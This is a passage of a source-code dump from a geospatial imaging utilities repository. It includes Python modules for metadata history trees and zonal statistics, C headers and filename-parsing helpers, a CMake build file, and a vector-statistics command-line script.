"max_line_length": 108, "num_lines": 403, "path": "/pyutils/lcrimageutils/xmlhistory.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/bin/env python\n\n\"\"\"\nModule for reading and manipulating SLATS metadata 'trees'.\nExample XML format in meta.xml\n\nSam Gillingham. February 2007.\n\nNow called history.py, and modified to work on XML files as well as GDAL files. \nNeil Flood. August 2008.\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport os\nimport xml.sax.handler\nimport xml.sax\nimport xml.dom.minidom\nfrom osgeo import gdal\nfrom osgeo.gdalconst import *\n\nmetadataName = 'SLATS_Metadata'\nmetadataTag = 'SLATS_Metadata_Document'\n\nclass Node:\n \"\"\"\n One 'node' of a tree. Has a list of parent's names and a dictionary of metadata\n \"\"\"\n def __init__(self,name):\n self.parents = []\n self.meta = {}\n self.name = name\n \n def addParent(self,parent):\n \"\"\"\n Adds a parent to the list of parents\n \"\"\"\n if parent.name == self.name:\n # node's parent cannot be itself\n raise ValueError(\"Invalid Node\")\n self.parents.append(parent)\n \n def addMeta(self,name,data):\n \"\"\"\n Adds an item to the metadata dictionary\n \"\"\"\n self.meta[name] = data\n \n def equal(self,node):\n \"\"\"\n Tests for equality between this node and the parameter node\n \"\"\"\n return self.name == node.name and self.parents == node.parents and self.meta == node.meta\n \nclass Tree:\n \"\"\"\n Class that handles a tree of Nodes. \n \"\"\"\n def __init__(self,head):\n self.head = head\n \n def traverseTree(self,callback,node = None):\n \"\"\"\n Traverses tree, calling callback.processNode() with each node in the tree.\n Set node to None to start from the head\n \"\"\"\n if node is None:\n node = self.head\n callback.processNode(node)\n for parent in node.parents:\n self.traverseTree(callback,parent)\n \n @staticmethod\n def mergeTrees(head,treelist):\n \"\"\"\n Takes a new head and creates a new tree with the parents of the head\n being the trees in treelist\n \"\"\"\n for tree in treelist:\n head.addParent(tree.head)\n return Tree(head)\n \n def toXML(self,doc,parent=None,node = None):\n \"\"\"\n Returns the tree converted back into XML.\n \"\"\"\n if node is None:\n # start of the tree\n node = self.head\n if parent is None:\n # haven't created the head node yet\n parent = doc.createElement(metadataTag)\n if doc.firstChild != None:\n # In this case, we are probably in an XML document, and just adding to its root tag\n \n # First we need to remove existing instances of this tag name\n existingElements = doc.getElementsByTagName(metadataTag)\n for el in existingElements:\n doc.childNodes[0].removeChild(el)\n \n # Now add the new one.\n doc.firstChild.appendChild(parent)\n else:\n # Here we are probably adding to a GDAL file, in which case there is not already a root XML tag\n doc.appendChild(parent)\n \n # open the node\n el = doc.createElement('node')\n el.setAttribute('name',node.name)\n parent.appendChild(el)\n # process the parents\n for parent in node.parents:\n self.toXML(doc,el,parent)\n # write this nodes metadata\n for key in node.meta.keys():\n subel = doc.createElement('info')\n subel.setAttribute('name',key)\n data = doc.createTextNode(str(node.meta[key]))\n subel.appendChild(data)\n el.appendChild(subel)\n \n def toXMLString(self):\n doc = xml.dom.minidom.Document()\n self.toXML(doc)\n return doc.toprettyxml(indent='')\n \n @staticmethod\n def fromXMLString(string):\n \"\"\"\n Creates an instance of Tree (the metadata tree) from a string. \n \"\"\"\n handler = TreeBuilder()\n xml.sax.parseString(string,handler)\n return handler.tree\n \n \nclass TreeBuilder(xml.sax.handler.ContentHandler):\n \"\"\"\n Class for parsing the SLATS metadata XML. \n Ignores anything outside the <SLATS_Metadata_Document> tags.\n \"\"\"\n def __init__(self):\n self.currnodes = []\n self.indoc = False\n \n def startElement(self, name, attributes):\n if name == metadataTag:\n # we are ready to start reading in the tree\n self.indoc = True\n elif self.indoc and name == \"node\":\n # have the start of a node. Add it to the list\n name = attributes.getValue(\"name\")\n newnode = Node(name)\n if len(self.currnodes) > 0:\n # the new node will be a parent of the current one\n self.currnodes[-1].addParent(newnode)\n self.currnodes.append(newnode)\n elif self.indoc and name == \"info\":\n self.infoname = attributes.getValue(\"name\")\n self.data = ''\n \n def characters(self, data):\n self.data = self.data + data\n \n def endElement(self, name):\n if name == metadataTag:\n self.indoc = False\n elif self.indoc and name == \"node\":\n if len(self.currnodes) == 1:\n # last one - create the tree class\n self.tree = Tree(self.currnodes[0])\n self.currnodes.pop()\n elif self.indoc and name == \"info\":\n self.currnodes[-1].addMeta(self.infoname,self.data)\n\n# \n# Module functions\n#\n\ndef readTreeFromDataset(dataset):\n \"\"\"\n Reads the metadata XML out of an GDAL dataset and returns a Tree instance\n \"\"\"\n band = dataset.GetRasterBand(1)\n meta = band.GetMetadata()\n if meta.has_key(metadataName):\n tree = Tree.fromXMLString(meta[metadataName])\n else:\n # no metadata in this file - manufacture a single node tree\n #print \"warning: %s has no metadata\" % dataset.GetDescription()\n name = os.path.basename(dataset.GetDescription())\n node = Node(name)\n tree = Tree(node)\n return tree\n \ndef readTreeFromFilename(imgfile):\n \"\"\"\n Same as readTreeFromDataset() but takes a filename\n \"\"\"\n \n if len(imgfile) > 8 and imgfile[-8:] == \".tseries\":\n # a .tseries file\n # should handle this properly and pull all the metadata out of that\n # just create a simple node for now\n name = os.path.basename(imgfile)\n node = Node(name)\n tree = Tree(node)\n elif fileIsXML(imgfile):\n dom = xml.dom.minidom.parse(imgfile)\n metadataElementList = dom.getElementsByTagName(metadataTag)\n if len(metadataElementList) > 0:\n element = metadataElementList[0]\n tree = Tree.fromXMLString(element.toxml())\n else:\n # No metadata tag present, make an empty tree\n name = os.path.basename(imgfile)\n node = Node(name)\n tree = Tree(node)\n else:\n # must be a .img file - get GDAL to do the work\n ds = gdal.Open(imgfile,GA_ReadOnly)\n tree = readTreeFromDataset(ds)\n del ds\n return tree\n\n\ndef addMandatoryFields(node, script, argv):\n \"\"\"\n Add the mandatory fields to the given metadata node\n If script is None, works it out from sys.argv[0]. \n Similarly for argv, to get the commandline arguments. \n \"\"\"\n import sys\n import time\n import lcl\n \n node.addMeta('timestamp', time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n login = os.getenv('LOGNAME','unknown') # see http://docs.python.org/lib/os-procinfo.html#l2h-2578\n if login == 'unknown':\n login = os.getenv('USER','unknown')\n node.addMeta('login', login )\n \n uname = os.uname()\n node.addMeta('uname_os', uname[0] )\n node.addMeta('uname_host', uname[1] )\n node.addMeta('uname_release', uname[2] )\n node.addMeta('uname_version', uname[3] )\n node.addMeta('uname_machine', uname[4] )\n node.addMeta('cwd', os.getcwd())\n \n # get the SVN revision number\n info = lcl.bt('svn info $SVN_CINRS_REPO | grep Revision')\n svn_rev = int(info[1])\n node.addMeta('subversion_revision', svn_rev )\n \n if argv is None:\n argv = ' '.join(sys.argv[1:])\n node.addMeta('commandline', argv)\n \n if script is None:\n script = sys.argv[0]\n node.addMeta('script', os.path.basename(script))\n node.addMeta('script_dir', os.path.dirname(script))\n\n\ndef createListOfParentTrees(parent_list):\n \"\"\"\n Creates a list of trees of all the metadata nodes from all the parents.\n \"\"\"\n treelist = []\n for parent in parent_list:\n treelist.append(readTreeFromFilename(parent))\n return treelist\n \ndef insertMetadataDataset(dataset,parent_list,optional_dict,script=None,argv=None):\n \"\"\"\n Takes a dataset (opened with GA_Update, or Create()) and creates a new node with mandatory metadata\n and any optional metadata passed in optional_dict. It merges all of the metadata from the parent filenames\n passed in parent_list.\n If this is being called from a Python script leave script None it will read it from the \n current environment. If calling from a C-Shell script pass in $0\n If this is being called from a Python script leave argv None it will read it from the \n current environment. If calling from a C-Shell script pass in $argv\n \"\"\"\n \n treelist = createListOfParentTrees(parent_list)\n \n if len(parent_list) == 0:\n print(\"Warning: file has no parents - is this correct?\")\n\n name = os.path.basename(dataset.GetDescription())\n node = Node(name)\n \n # mandatory fields\n addMandatoryFields(node, script, argv)\n \n # optional fields\n for key in optional_dict.keys():\n node.addMeta(key,optional_dict[key])\n \n newtree = Tree.mergeTrees(node,treelist)\n \n band = dataset.GetRasterBand(1)\n meta = band.GetMetadata()\n if meta.has_key(metadataName):\n print(\"Warning: overwriting existing metadata\")\n \n doc = xml.dom.minidom.Document()\n newtree.toXML(doc)\n xmlStr = doc.toprettyxml(indent='')\n meta[metadataName] = xmlStr\n band.SetMetadata(meta)\n \n \ndef insertMetadataFilename(imgfile,parent_list,optional_dict,script=None,argv=None):\n \"\"\"\n Same as insertMetadataDataset but takes a filename rather than a dataset\n Also adapted to work if the file is an XML file, by detecting this and calling the right routine.\n \"\"\"\n if fileIsXML(imgfile):\n insertMetadataXMLfile(imgfile,parent_list,optional_dict,script,argv)\n else:\n ds = gdal.Open(imgfile,GA_Update)\n insertMetadataDataset(ds,parent_list,optional_dict,script,argv)\n del ds\n\n\ndef fileIsXML(filename):\n \"\"\"\n Check the beginning of a file and determine whether it appears to be an XML file or not. \n \"\"\"\n magicNumberString = open(filename, 'r').read(5)\n return (magicNumberString == \"<?xml\")\n\n\ndef insertMetadataXMLdoc(doc, filename, parent_list, optional_dict, script=None, argv=None):\n \"\"\"\n Insert the file history metadata into an XML document, already composed in memory. \n If script is None, works it out from sys.argv[0]. \n Similarly for argv, to get the commandline arguments. \n \"\"\"\n treelist = createListOfParentTrees(parent_list)\n \n node = Node(os.path.basename(filename))\n \n addMandatoryFields(node, script, argv)\n \n for key in optional_dict.keys():\n node.addMeta(key, optional_dict[key])\n \n newtree = Tree.mergeTrees(node, treelist)\n newtree.toXML(doc)\n\n\ndef insertMetadataXMLfile(filename, parent_list, optional_dict, script=None, argv=None):\n \"\"\"\n Same as insertMetadataXMLdoc, but working on an existing file. Opens the file, reads it, adds the\n metadata, and re-writes the file. \n \"\"\"\n import xml.dom.minidom\n doc = xml.dom.minidom.parse(filename)\n insertMetadataXMLdoc(doc, filename, parent_list, optional_dict, script, argv)\n xml = doc.toprettyxml(indent=' ')\n f = open(filename, 'w')\n f.write(xml)\n f.close()\n\n\n\n\n# \n# Test code\n#\n\nif __name__ =='__main__':\n import sys\n\n string = open(sys.argv[1]).read()\n mytree = Tree.fromXMLString(string)\n \n class DumpTree:\n def processNode(self,node):\n print(node.name)\n\n t = DumpTree()\n\n mytree.traverseTree(t)\n \n print(mytree.toXMLString())\n" }, { "alpha_fraction": 0.694426417350769, "alphanum_fraction": 0.7015554308891296, "avg_line_length": 24.295082092285156, "blob_id": "bed37794bd0f22a400da467998447fbc5f719127", "content_id": "33ed277407cf3253d5bfa0171252fb156ec0b25f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3086, "license_type": "no_license", "max_line_length": 109, "num_lines": 122, "path": "/utils/src/common/glayer.h", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#include \"ginfo.h\"\n#include \"gdal.h\"\n#include \"fparse.h\"\n\n#ifndef GLAYER_H\n#define GLAYER_H\n\n#define pGlayer(glayer,x,y) ((char*)glayer->line[y] + (x)*glayer->nbpp)\n#define Glayer(glayer,type,x,y) (*(type *)pGlayer(glayer,x,y))\n\ntypedef struct /* imagery layer */\n{\n GDALDatasetH hDataset;\n GDALRasterBandH hBand;\n\n Eprj_MapInfo *info;\n\n char *pszProjection;\n char **papszMetadata;\n\n GDALDataType pixeltype;\n\n Eimg_LayerType layertype;\n\n Esta_Statistics *stats; \n\n void *data; /* pointer to actual image data */\n\n void **line; /* pointers to start of image lines */\n\n long width;\n long height;\n\n int blockwidth;\n int blockheight;\n\n /* Raster Colortable */\n\n GDALColorTableH hCT;\n\n /* Raster Attribute Table */\n\n GDALRasterAttributeTableH hRAT;\n \n /* Map information */\n\n double GeoTransform[6];\n\n /* GeoTransform - coefficients for transforming between pixel/line (i,j) raster space,\n * and projection coordinates (E,N) space\n *\n * GeoTransform[0] top left x \n * GeoTransform[1] w-e pixel resolution nfo->proName.data\n * GeoTransform[2] rotation, 0 if image is \"north up\" \n * GeoTransform[3] top left y \n * GeoTransform[4] rotation, 0 if image is \"north up\" \n * GeoTransform[5] n-s pixel resolution \n *\n * E = GeoTransform[0] + i*GeoTransform[1] + j*GeoTransform[2];\n * N = GeoTransform[3] + i*GeoTransform[4] + j*GeoTransform[5];\n * \n * In a north up image, GeoTransform[1] is the pixel width, and GeoTransform[5] is the pixel height.\n * The upper left corner of the upper left pixel is at position (GeoTransform[0],GeoTransform[3]).\n */\n\n int nbpp; /* number of bytes per pixel */\n int nbpl; /* number of bytes per line */\n\n double pw; /* pixel width (map units) */\n double ph; /* pixel height */\n double pa; /* pixel area */\n\n}\nGlayer;\n\n#define GlayerReadSingle(fname) (GlayerReadLayer(fname, 1))\n#define GlayerOpenSingle(fname) (GlayerOpenLayer(fname, 1))\n#define GlayerWriteSingle(glayer, fname) (GlayerWriteLayer(glayer, fname, 1))\n\nGlayer *\nGlayerOpenLayer(char *fname, int band);\n\nGlayer *\nGlayerReadLayer(char *fname, int band);\n\nvoid\nGlayerWriteLayer(Glayer *glayer, char *fname, int band);\n\nvoid CreatePyramids(char *fname, char *pszType);\n\nGlayer *\nGlayerCreate(long width, long height, GDALDataType pixeltype, Eprj_MapInfo *info, char *pszProjection);\n\nGlayer *\nGlayerCreateNoData(long width, long height, GDALDataType pixeltype, Eprj_MapInfo *info, char *pszProjection);\n\nvoid GlayerCreateData(Glayer *glayer, long width, long height);\n\nvoid GlayerFreeData(Glayer *glayer);\n\nvoid GlayerFree(Glayer **glayer);\n\nvoid GlayerCheckType(Glayer *glayer, GDALDataType pixeltype);\n\nint setnbpp(GDALDataType pixeltype);\n\nEprj_MapInfo *\nCreateMapInfo();\n\nEprj_MapInfo *\nCopyMapInfo(Eprj_MapInfo *dest, Eprj_MapInfo *src);\n\nEprj_MapInfo *\nGeoTransformToMapInfo(Eprj_MapInfo *info, double *Geotransform, long width, long height);\n\ndouble *\nMapInfoToGeoTransform(double *GeoTransform, Eprj_MapInfo *info);\n\nvoid\nGlayerPrintXY(Glayer *glayer, long x, long y);\n\n#endif\n" }, { "alpha_fraction": 0.535755455493927, "alphanum_fraction": 0.5478662252426147, "avg_line_length": 16.34000015258789, "blob_id": "79c4971aae417767e2fffd00178fecd19b10c31f", "content_id": "e157c66dd26da804d4424aeb2400b6929224deb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1734, "license_type": "no_license", "max_line_length": 54, "num_lines": 100, "path": "/utils/src/common/fparse.c", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"fparse.h\"\n\nchar *\nfextn(char *fname)\n{\n int len = strlen(fname);\n int dot = len - 1;\n char *string;\n \n while(fname[dot] != '.' && dot >= 0) dot--;\n\n string = (char *)calloc(len - dot, sizeof(char));\n\n strcpy(string, &fname[dot]);\n \n return(string);\n}\n\nchar *\nfroot(char *fname)\n{\n int len = strlen(fname);\n int slash = len - 1;\n int dot = 0;\n char *string;\n \n while(fname[slash] != '/' && slash >= 0) slash--;\n\n if(slash >= 0) dot = slash; \n \n while(fname[dot] != '.' && dot < len) dot++;\n \n string = (char *)calloc(dot - slash, sizeof(char));\n\n strncpy(string, &fname[slash + 1], dot - slash - 1);\n \n return(string);\n}\n\nchar *\nfnpth(char *fname)\n{\n int len = strlen(fname);\n int slash = len - 1;\n char *string;\n \n while(fname[slash] != '/' && slash >= 0) slash--;\n\n string = (char *)calloc(len - slash, sizeof(char));\n\n strncpy(string, &fname[slash + 1], len - slash - 1);\n \n return(string);\n}\n\nchar *\nfpath(char *fname)\n{\n int slash = strlen(fname) - 1;\n char *string;\n \n while(fname[slash] != '/' && slash >= 0) slash--;\n\n if(slash < 0) /* no path */\n return(\".\");\n else\n if(!slash) /* path is a single slash */\n return(\"/\");\n \n string = (char *)calloc(slash + 1, sizeof(char));\n\n strncpy(string, fname, slash);\n \n return(string);\n}\n\nchar *\nfbase(char *fname)\n{\n int len = strlen(fname);\n int slash = len - 1;\n int dot = 0;\n char *string;\n \n while(fname[slash] != '/' && slash >= 0) slash--;\n\n if(slash >= 0) dot = slash; \n \n while(fname[dot] != '.' && dot < len) dot++;\n \n string = (char *)calloc(dot + 1, sizeof(char));\n\n strncpy(string, fname, dot);\n \n return(string);\n}\n" }, { "alpha_fraction": 0.6414473652839661, "alphanum_fraction": 0.6480262875556946, "avg_line_length": 19.266666412353516, "blob_id": "0787554756f9baeb24217bb46f0504a6b142cdb9", "content_id": "771cfea912191cf005e12929e4d8bd8f0923f3ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 304, "license_type": "no_license", "max_line_length": 64, "num_lines": 15, "path": "/utils/src/common/gutils.h", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#define outerr stderr, __FILE__, __LINE__\n\n#define round(x) floor(x + 0.5)\n\nvoid errexit(FILE *fp, char *file, int line, char *errstr, ...);\nvoid jobstate(char *fmt, ...);\nvoid jobprog(long percent);\n\nFILE * opencheck(char *fname, char *mode);\n\nchar *\ncurrenttime();\n\nchar *\nargs(int argc, char **argv);\n" }, { "alpha_fraction": 0.578125, "alphanum_fraction": 0.5977822542190552, "avg_line_length": 29.045454025268555, "blob_id": "12fcfc91a7c6c2abbca7f37ec260a513c7bf08c6", "content_id": "54b5a679ef6c5b72e9e97423710251e9cd8843b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1984, "license_type": "no_license", "max_line_length": 92, "num_lines": 66, "path": "/libimgf90/CMakeLists.txt", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "# Set Project name and version\nproject (LIBIMGF90)\nenable_language (Fortran)\n\nset (LIBIMGF90_VERSION_MAJOR 1)\nset (LIBIMGF90_VERSION_MINOR 0)\n\nset (PROJECT_SOURCE_DIR src)\n\noption(BUILD_SHARED_LIBS \"Build with shared library\" ON)\n\nset(LIBIMGF90_LIB_NAME imgf90)\n\nset(GDAL_INCLUDE_PATH /usr/local/include CACHE PATH \"Include PATH for GDAL\")\nset(GDAL_LIB_PATH /usr/local/lib CACHE PATH \"Library PATH for GDAL\")\n\n###############################################################################\n# CMake settings\ncmake_minimum_required(VERSION 2.6.0)\n\nIF(NOT CMAKE_BUILD_TYPE)\n #SET(CMAKE_BUILD_TYPE \"DEBUG\")\n SET(CMAKE_BUILD_TYPE \"RELEASE\")\n #SET(CMAKE_BUILD_TYPE \"RELWITHDEBINFO\")\n #SET(CMAKE_BUILD_TYPE \"MINSIZEREL\")\nENDIF()\n\nset(CMAKE_COLOR_MAKEFILE ON)\n\n# Allow advanced users to generate Makefiles printing detailed commands\nmark_as_advanced(CMAKE_VERBOSE_MAKEFILE)\n\n# Path to additional CMake modules\nset(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} ./cmake/modules/)\n###############################################################################\n\n###############################################################################\n# Platform and compiler specific settings\n\nif (APPLE)\n set(SO_EXT dylib)\n # set(CMAKE_FIND_FRAMEWORK \"LAST\")\nelseif(WIN32)\n set(SO_EXT dll)\nelse()\n set(SO_EXT so)\nendif(APPLE)\n###############################################################################\n\ninclude_directories(${GDAL_INCLUDE_PATH})\nif (WIN32)\n set(GDAL_LIBRARIES -LIBPATH:\"${GDAL_LIB_PATH}\" gdal_i.lib)\nelse()\n set(GDAL_LIBRARIES -L${GDAL_LIB_PATH} -lgdal)\nendif(WIN32)\n\n###############################################################################\n# Build library\n\nset(LIBIMGF90_SRCS ${PROJECT_SOURCE_DIR}/libimgf90.c ${PROJECT_SOURCE_DIR}/libimgf90mod.f90)\n\nadd_library( ${LIBIMGF90_LIB_NAME} ${LIBIMGF90_SRCS})\n\ntarget_link_libraries(${LIBIMGF90_LIB_NAME} ${GDAL_LIBRARIES} )\ninstall (TARGETS ${LIBIMGF90_LIB_NAME} DESTINATION lib)\ninstall (FILES libimgf90.mod DESTINATION mod)\n\n" }, { "alpha_fraction": 0.5867347121238708, "alphanum_fraction": 0.5920918583869934, "avg_line_length": 41.60869598388672, "blob_id": "47ff1726058910f5fec60d84ed2badb5a9ee47b6", "content_id": "0a4f595150073d23d15f28a13f44aab890b4bc27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3920, "license_type": "no_license", "max_line_length": 81, "num_lines": 92, "path": "/pyutils/bin/vectorstats.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport optparse\nfrom lcrimageutils import vectorstats\n\nclass CmdArgs(object):\n \"\"\"\n Class for processing command line arguments\n \"\"\"\n def __init__(self):\n usage = \"usage: %prog [options]\"\n self.parser = optparse.OptionParser(usage)\n\n self.parser.add_option('-v', '--vector', dest='vector',\n help=\"path to vector file\")\n self.parser.add_option('-r', '--raster', dest='raster',\n help=\"path to raster file\")\n self.parser.add_option('-i', '--ignore', dest='ignore',\n help=\"either: 'int' to use internal nodata values\\n\"+\n \"or 'none' to use all values, or a single value\"+\n \" to use for all bands, or a comma seperated list\"+\n \" of values - one per band.\")\n self.parser.add_option('-l', '--layer', dest='layer',\n default=0, type='int', \n help=\"Name or 0-based index of vector layer. Defaults\"+\n \" to first layer\")\n self.parser.add_option('-s', '--sql', dest='sql',\n help=\"SQL to filter the features in the vector file\")\n self.parser.add_option('-a', '--alltouched', action=\"store_true\",\n default=False, dest=\"alltouched\", \n help=\"If set, all pixels touched are included in vector\"+\n \" the default is that only pixels whose centres are\"+\n \" in the polygon are included\")\n self.parser.add_option('-b', '--bands', dest='bands',\n help=\"comma separated list of 1-based bands to use. \"+\n \"Default is all bands\")\n\n (options, self.args) = self.parser.parse_args()\n self.__dict__.update(options.__dict__)\n\n\nif __name__ == '__main__':\n cmdargs = CmdArgs()\n\n if (cmdargs.vector is None or cmdargs.raster is None or \n cmdargs.ignore is None):\n raise SystemExit('Must specify raster, vector and ignore at least')\n\n bands = None\n if cmdargs.bands is not None:\n # convert to list of ints\n bands = cmdargs.bands.split(',')\n bands = [int(x) for x in bands]\n\n ignore_values = None\n if cmdargs.ignore == 'int':\n ignore_behaviour = vectorstats.IGNORE_INTERNAL\n elif cmdargs.ignore == 'none':\n ignore_behaviour = vectorstats.IGNORE_NONE\n else:\n ignore_behaviour = vectorstats.IGNORE_VALUES\n ignore_values = cmdargs.ignore.split(',')\n ignore_values = [float(x) for x in ignore_values]\n if len(ignore_values) == 1:\n ignore_values = ignore_values[0]\n\n results = vectorstats.doStats(cmdargs.vector, cmdargs.raster, \n ignore_behaviour, ignore_values, cmdargs.sql, \n cmdargs.alltouched, bands, cmdargs.layer)\n\n for band in sorted(results.keys()):\n print('%d %f %f %f %f %f %d' % (band, results[band]['mean'],\n results[band]['median'], results[band]['std'],\n results[band]['min'], results[band]['max'], \n results[band]['count']))\n" }, { "alpha_fraction": 0.5904752612113953, "alphanum_fraction": 0.5956369042396545, "avg_line_length": 38.35384750366211, "blob_id": "fdd4c9b7473c504f5f87b1f350db7de599dcc207", "content_id": "a8d8cf0dec4b6f99d6072b17c09b129adc3272ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10268, "license_type": "no_license", "max_line_length": 81, "num_lines": 260, "path": "/pyutils/lcrimageutils/zones.py", "repo_name": "ubarsc/lcrimageutils", "src_encoding": "UTF-8", "text": "\n\"\"\"\nCollection of routines that deals with zones\n(ie clumped images)\n\n\"\"\"\n# This file is part of 'gdalutils'\n# Copyright (C) 2014 Sam Gillingham\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport numpy\nfrom rios.imagereader import ImageReader\n\ndef zoneMeans(clumpFile, dataFile, clumpBand=1, dataBands=None, \n ignoreDataVals=None):\n \"\"\"\n Given a file of clumps and a file of data, calculates\n the mean and standard deviation for the area of each\n clump value in the data. \n If dataBands is None does all bands in the dataFile, otherwise\n pass list of 1-based band indices or a single integer\n If dataBands is None or a list, returns list of tuples. \n Each tuple contains two arrays, one with the mean values, one\n with the standard deviation values. The indices of these\n arrays go from zero to the maximum clump value and have values\n for each clump id, zero for other indices.\n If dataBands is a single integer, returns a tuple with mean and\n standard deviation arrays as above.\n\n Ignore values(s) may be passed in with the ignoreDataVals parameter.\n This may be a single value in which case the same is used for all \n dataBands, or a sequence the same length as dataValues.\n \"\"\"\n \n fileDict = {'clumps':clumpFile, 'data':dataFile}\n\n origdataBands = dataBands # so we know whether to return list or tuple\n if isinstance(dataBands, int):\n dataBands = [dataBands] # treat as list for now\n\n if isinstance(ignoreDataVals, int):\n # make list same size as dataBands\n ignoreDataVals = [ignoreDataVals] * len(dataBands)\n\n # use dictionaries for accumulated values\n # index is the clump id\n # we have a list of these dictionaries one per dataBand\n sumDictList = []\n sumsqDictList = []\n countDictList = []\n if dataBands is not None:\n # if None, sorted below when we know how many bands\n # create the dictionaries for each band\n for dataBand in dataBands:\n sumDictList.append({})\n sumsqDictList.append({})\n countDictList.append({})\n \n # red thru the images\n reader = ImageReader(fileDict)\n for (info, blocks) in reader:\n # get the data for the specified bands and flatten it\n clumps = blocks['clumps'][clumpBand-1].flatten()\n\n if dataBands is None:\n # now we know how many bands there are for the default list\n dataBands = range(1, blocks['data'].shape[0]+1)\n # create the dictionaries for each band\n for dataBand in dataBands:\n sumDictList.append({})\n sumsqDictList.append({})\n countDictList.append({})\n\n for idx, dataBand in enumerate(dataBands):\n\n data = blocks['data'][dataBand-1].flatten()\n sumDict = sumDictList[dataBand-1]\n sumsqDict = sumsqDictList[dataBand-1]\n countDict = countDictList[dataBand-1]\n \n # for each clump id\n for value in numpy.unique(clumps):\n # get the data for that clump\n mask = (clumps == value)\n\n # if we are ignoring values then extend mask\n if ignoreDataVals is not None:\n mask = mask & (data != ignoreDataVals[idx])\n\n dataSubset = data.compress(mask)\n # check we have data\n if dataSubset.size != 0:\n # calculate the values\n sum = dataSubset.sum()\n sq = dataSubset * dataSubset\n sumsq = sq.sum()\n\n # check if we encountered this value or not\n # and load into our dictioanaries\n if value in sumDict:\n sumDict[value] += sum\n sumsqDict[value] += sumsq\n countDict[value] += dataSubset.size\n else:\n sumDict[value] = sum\n sumsqDict[value] = sumsq\n countDict[value] = dataSubset.size\n \n # work out the length of the arrays and \n # create some blank arrays\n maxidx = max(sumDict.keys()) + 1\n meanArray = numpy.zeros((maxidx,), numpy.float)\n stdArray = numpy.zeros((maxidx,), numpy.float)\n\n resultList = []\n # go through each band \n for dataBand in dataBands:\n sumDict = sumDictList[dataBand-1]\n sumsqDict = sumsqDictList[dataBand-1]\n countDict = countDictList[dataBand-1]\n\n # turn into arrays so we don't have to iterate\n idxs = numpy.fromiter(sumDict.keys(), numpy.integer)\n sums = numpy.zeros((maxidx,), numpy.float)\n sums[idxs] = numpy.fromiter(sumDict.values(), numpy.float)\n sumsqs = numpy.zeros((maxidx,), numpy.float)\n sumsqs[idxs] = numpy.fromiter(sumsqDict.values(), numpy.float)\n counts = numpy.zeros((maxidx,), numpy.integer)\n counts[idxs] = numpy.fromiter(countDict.values(), numpy.integer)\n\n # mask out invalid divides\n outInvalid = counts == 0\n counts[outInvalid] = 1\n\n means = sums / counts\n stds = numpy.sqrt((sumsqs / counts) - (means * means))\n\n means[outInvalid] = 0\n stds[outInvalid] = 0\n \n resultList.append((means, stds))\n \n if isinstance(origdataBands, int):\n return resultList[0] # only one item\n else:\n return resultList\n \ndef zoneMajority(clumpFile, dataFile, clumpBand=1, dataBands=None):\n \"\"\"\n Given a file of clumps and a file of data, calculates\n the most common data values for each clump and the histogram\n If dataBands is None does all bands in the dataFile, otherwise\n pass list of 1-based band indices or a single integer\n If dataBands is None or a list, returns list of tuples. \n Each tuple contains as array of the most common values and a histogram. \n The indices of this array go from zero to the maximum clump value \n and have values for each clump id, zero for other indices.\n The histogram is a dictionary, keyed on the clump id. Each value\n in the dictionary is itself a dictionary keyed on the data value,\n with the count of that value.\n If dataBands is a single integer, returns a tuple with the mode array and\n histogram dictionary as above.\n \"\"\"\n\n origdataBands = dataBands # so we know whether to return list or tuple\n if isinstance(dataBands, int):\n dataBands = [dataBands] # treat as list for now\n \n fileDict = {'clumps':clumpFile, 'data':dataFile}\n \n # index is the clump id\n # list of dictionaries\n clumpDictList = []\n if dataBands is not None:\n # if None, sorted below when we know how many bands\n # create the dictionaries for each band\n for dataBand in dataBands:\n clumpDictList.append({})\n\n # red thru the 